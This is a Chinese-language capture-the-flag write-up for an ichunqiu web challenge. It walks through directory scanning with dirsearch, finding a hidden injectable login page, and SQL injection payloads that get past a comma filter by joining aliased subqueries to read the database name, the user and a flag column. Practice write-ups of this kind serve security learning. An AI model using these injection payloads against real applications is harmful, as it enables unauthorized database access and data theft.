题目:https://www.ichunqiu.com/battalion?t=1&r=54791
题目内容
后台有获取flag的线索
本题来自擂主greenhand
题目分析
根据题目的提示,在login.php处进行sql注入测试,无果。
使用dirsearch进行目录扫描
dirsearch -u http://2958feab5de64d1ea6a64a80a98983f3809ce570d3c044b9.changame.ichunqiu.com -e php
进入index.php后发现跳转到了b68a89d1c4a097a9d8631b3ac45e8979.php
中,抓index.php的包。返回包里发现提示l0gin.php
,该页面存在sql注入。
经过分析
- 单引号闭合
- 过滤了
,
- 使用order by 查出2个字段
由于过滤了逗号,很多常规的操作使用不了,这里可以结合多表连接实现union查询
1.1' union select * from (select database())a join (select user())b %23
- 查出表:
users
- 表中存在flag的字段
flag_9c861b688330
查users
表中的flag_9c861b688330
字段的值,payload:
-- 这里的a和b是别名,使用多表连接时,必须给每个表起别名
1.1' union select * from (select flag_9c861b688330 from users)a join (select group_concat(column_name) from information_schema.columns where table_name='users' )b %23
结果:
总结
主页被跳转,跳转的页面无sql注入。目录扫描发现index.php的存在。抓包找提示信息,在index.php的返回包中看到了存在SQL注入的页面。由于逗号不能使用,于是使用union+多表连接读取flag。